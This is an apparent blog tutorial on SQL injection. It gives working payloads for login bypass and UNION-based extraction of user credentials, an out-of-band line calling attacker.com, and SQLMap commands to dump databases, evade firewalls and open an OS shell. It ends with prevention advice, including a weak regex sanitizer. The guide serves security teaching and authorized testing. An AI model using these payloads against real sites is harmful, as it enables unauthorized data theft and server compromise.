SQL Injection: A Complete Guide to Understanding and Exploiting SQLi Vulnerabilities
## Introduction
SQL Injection (SQLi) remains one of the most dangerous and prevalent web application vulnerabilities, consistently ranking in the OWASP Top 10. This attack technique allows malicious actors to interfere with queries that an application makes to its database, potentially leading to unauthorized data access, data manipulation, or complete system compromise.
In this comprehensive guide, we'll explore the fundamentals of SQL Injection, understand different types of attacks, and demonstrate practical exploitation techniques using industry-standard tools.
---
## Table of Contents
1. [What is SQL Injection?](#what-is-sql-injection)
2. [How SQL Injection Works](#how-sql-injection-works)
3. [Types of SQL Injection](#types-of-sql-injection)
4. [Identifying SQL Injection Vulnerabilities](#identifying-sql-injection-vulnerabilities)
5. [Exploitation Tools and Techniques](#exploitation-tools-and-techniques)
6. [Prevention and Mitigation](#prevention-and-mitigation)
7. [Conclusion](#conclusion)
---
## What is SQL Injection?
SQL Injection is a code injection technique that exploits security vulnerabilities in an application's database layer. It occurs when user input is incorrectly filtered or not properly sanitized before being included in SQL queries.
### The Impact of SQL Injection
- **Data Breach**: Access to sensitive information (usernames, passwords, credit cards)
- **Data Manipulation**: Modify or delete database records
- **Authentication Bypass**: Log in as any user without knowing their password
- **Remote Code Execution**: In some cases, execute system commands on the server
- **Complete System Compromise**: Gain full control over the database server
---
## How SQL Injection Works
### Vulnerable Code Example
Consider this vulnerable PHP login code:
```php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Invalid credentials!";
}
?>
```
### The Attack
When a user enters normal credentials:
- **Username**: `admin`
- **Password**: `password123`
The query becomes:
```sql
SELECT * FROM users WHERE username='admin' AND password='password123'
```
However, if an attacker enters:
- **Username**: `admin' --`
- **Password**: `anything`
The query becomes:
```sql
SELECT * FROM users WHERE username='admin' --' AND password='anything'
```
The `--` comments out the rest of the query, bypassing the password check entirely!
---
## Types of SQL Injection
### 1. In-Band SQL Injection (Classic)
The most common and easy-to-exploit type where the attacker uses the same channel to launch the attack and gather results.
#### Error-Based SQLi
Relies on error messages from the database to obtain information.
```
http://example.com/item?id=1'
```
This might return an error like:
```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
```
#### Union-Based SQLi
Uses the UNION SQL operator to combine results from multiple SELECT statements.
```
http://example.com/item?id=1 UNION SELECT username, password FROM users--
```
### 2. Blind SQL Injection
When the application doesn't show error messages or query results directly.
#### Boolean-Based Blind SQLi
Relies on sending queries that return TRUE or FALSE.
```
http://example.com/item?id=1 AND 1=1 -- Returns normal page (TRUE)
http://example.com/item?id=1 AND 1=2 -- Returns different page (FALSE)
```
#### Time-Based Blind SQLi
Uses time delays to infer information.
```
http://example.com/item?id=1; IF(1=1) WAITFOR DELAY '0:0:5'--
```
If the page loads after 5 seconds, the condition is TRUE.
### 3. Out-of-Band SQL Injection
Uses different channels to retrieve data (e.g., DNS or HTTP requests).
```sql
'; exec master..xp_dirtree '//attacker.com/share'--
```
---
## Identifying SQL Injection Vulnerabilities
### Manual Testing Techniques
#### Step 1: Submit Single Quote
```
http://example.com/page?id=1'
```
Look for SQL errors or unusual behavior.
#### Step 2: Boolean Conditions
```
http://example.com/page?id=1 AND 1=1
http://example.com/page?id=1 AND 1=2
```
Compare responses for differences.
#### Step 3: Time-Based Payloads
```
http://example.com/page?id=1; WAITFOR DELAY '0:0:5'--
```
Check if the response is delayed.
### Common SQL Injection Payloads
```sql
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
admin'--
1' ORDER BY 1--
1' UNION SELECT NULL--
1' UNION SELECT NULL, NULL--
' AND 1=1--
' AND 1=2--
1; WAITFOR DELAY '0:0:5'--
```
---
## Exploitation Tools and Techniques
### 1. SQLMap - The Ultimate SQL Injection Tool
SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection vulnerabilities.
#### Installation
```bash
# On Kali Linux (pre-installed)
sqlmap
# On Ubuntu/Debian
sudo apt install sqlmap
# Using pip
pip install sqlmap
# From source
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py
```
#### Basic Usage
**Testing a URL for SQL Injection:**
```bash
sqlmap -u "http://example.com/page?id=1"
```
**Specifying a parameter to test:**
```bash
sqlmap -u "http://example.com/page?id=1&name=test" -p id
```
**Getting database information:**
```bash
sqlmap -u "http://example.com/page?id=1" --dbs
```
#### Advanced SQLMap Commands
**Enumerate all databases:**
```bash
sqlmap -u "http://example.com/page?id=1" --dbs
```
**List tables in a specific database:**
```bash
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
```
**Dump columns from a table:**
```bash
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
```
**Dump data from specific columns:**
```bash
sqlmap -u "http://example.com/page?id=1" -D database_name -T users -C username,password --dump
```
**Dump entire database:**
```bash
sqlmap -u "http://example.com/page?id=1" -D database_name --dump-all
```
**Using cookies for authenticated sessions:**
```bash
sqlmap -u "http://example.com/page?id=1" --cookie="PHPSESSID=abc123; auth=token"
```
**POST request testing:**
```bash
sqlmap -u "http://example.com/login" --data="username=admin&password=test" -p username
```
**Bypass WAF (Web Application Firewall):**
```bash
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,randomcase
```
**Get OS shell (if possible):**
```bash
sqlmap -u "http://example.com/page?id=1" --os-shell
```
**Get SQL shell:**
```bash
sqlmap -u "http://example.com/page?id=1" --sql-shell
```
---
### 2. Burp Suite
Burp Suite is a comprehensive web security testing platform with SQL injection scanning capabilities.
#### Using Burp Suite for SQLi Detection
1. **Capture the request** using Burp Proxy
2. **Send to Intruder** for payload fuzzing
3. **Use Scanner** for automated vulnerability detection
#### Manual Testing with Repeater
1. Capture a request in Proxy
2. Right-click → Send to Repeater
3. Modify parameters with SQL payloads
4. Analyze responses for SQLi indicators
---
### 3. Manual Exploitation with UNION Attacks
#### Step 1: Determine the Number of Columns
```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
```
Keep incrementing until you get an error.
#### Step 2: Find Visible Columns
```sql
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT 'a', NULL, NULL--
' UNION SELECT NULL, 'a', NULL--
' UNION SELECT NULL, NULL, 'a'--
```
#### Step 3: Extract Database Version
**MySQL:**
```sql
' UNION SELECT NULL, @@version, NULL--
```
**PostgreSQL:**
```sql
' UNION SELECT NULL, version(), NULL--
```
**Microsoft SQL Server:**
```sql
' UNION SELECT NULL, @@version, NULL--
```
**Oracle:**
```sql
' UNION SELECT NULL, banner, NULL FROM v$version--
```
#### Step 4: Extract Table Names
**MySQL:**
```sql
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database()--
```
**PostgreSQL:**
```sql
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables--
```
#### Step 5: Extract Column Names
```sql
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users'--
```
#### Step 6: Extract Data
```sql
' UNION SELECT NULL, CONCAT(username,':',password), NULL FROM users--
```
---
### 4. Other Useful Tools
#### Havij
Windows-based automated SQL injection tool (GUI-based, beginner-friendly).
#### jSQL Injection
Java-based tool for finding and exploiting SQL injection vulnerabilities.
```bash
java -jar jsql-injection.jar
```
#### NoSQLMap
For NoSQL database injection (MongoDB, CouchDB).
```bash
python nosqlmap.py -u "http://example.com/page" -p parameter
```
---
## Prevention and Mitigation
### 1. Use Parameterized Queries (Prepared Statements)
**PHP (PDO):**
```php
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
```
**Python (psycopg2):**
```python
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
```
**Java (JDBC):**
```java
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
```
### 2. Use Stored Procedures
```sql
CREATE PROCEDURE sp_GetUser
@username NVARCHAR(50),
@password NVARCHAR(50)
AS
BEGIN
SELECT * FROM users WHERE username = @username AND password = @password
END
```
### 3. Input Validation and Sanitization
```python
import re
def sanitize_input(user_input):
# Remove potentially dangerous characters
return re.sub(r"['\";--]", "", user_input)
```
### 4. Least Privilege Principle
- Use database accounts with minimal permissions
- Never use `root` or `sa` accounts for web applications
- Restrict access to sensitive tables and procedures
### 5. Web Application Firewall (WAF)
Deploy a WAF to filter out malicious requests:
- ModSecurity
- Cloudflare WAF
- AWS WAF
### 6. Error Handling
Never expose database errors to users:
```php
try {
// Database operations
} catch (Exception $e) {
// Log the error internally
error_log($e->getMessage());
// Show generic message to user
echo "An error occurred. Please try again.";
}
```
---
## SQL Injection Cheat Sheet
### Database Fingerprinting
| Database | Version Query |
|----------|---------------|
| MySQL | `SELECT @@version` |
| PostgreSQL | `SELECT version()` |
| MSSQL | `SELECT @@version` |
| Oracle | `SELECT banner FROM v$version` |
| SQLite | `SELECT sqlite_version()` |
### Comment Syntax
| Database | Comment |
|----------|---------|
| MySQL | `--` or `#` or `/**/` |
| PostgreSQL | `--` or `/**/` |
| MSSQL | `--` or `/**/` |
| Oracle | `--` or `/**/` |
### String Concatenation
| Database | Syntax |
|----------|--------|
| MySQL | `CONCAT('a','b')` |
| PostgreSQL | `'a' || 'b'` |
| MSSQL | `'a' + 'b'` |
| Oracle | `'a' || 'b'` |
---
## Conclusion
SQL Injection remains a critical security vulnerability that can have devastating consequences for organizations. Understanding how these attacks work is essential for both security professionals testing applications and developers building secure systems.
**Key Takeaways:**
1. Always use parameterized queries or prepared statements
2. Implement proper input validation
3. Follow the principle of least privilege
4. Keep systems and software updated
5. Regularly test applications for vulnerabilities
6. Use Web Application Firewalls as an additional layer of defense
> ⚠️ **Disclaimer**: This article is for educational purposes only. Always obtain proper authorization before testing for vulnerabilities. Unauthorized access to computer systems is illegal.
---
## Further Resources
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
- [PortSwigger SQL Injection Labs](https://portswigger.net/web-security/sql-injection)
- [SQLMap Documentation](https://sqlmap.org/)
- [HackTheBox SQL Injection Challenges](https://www.hackthebox.com/)
---
*Last Updated: January 2026*
*Tags: #SQLInjection #WebSecurity #PenetrationTesting #CyberSecurity #OWASP #SQLMap*
Comments (0)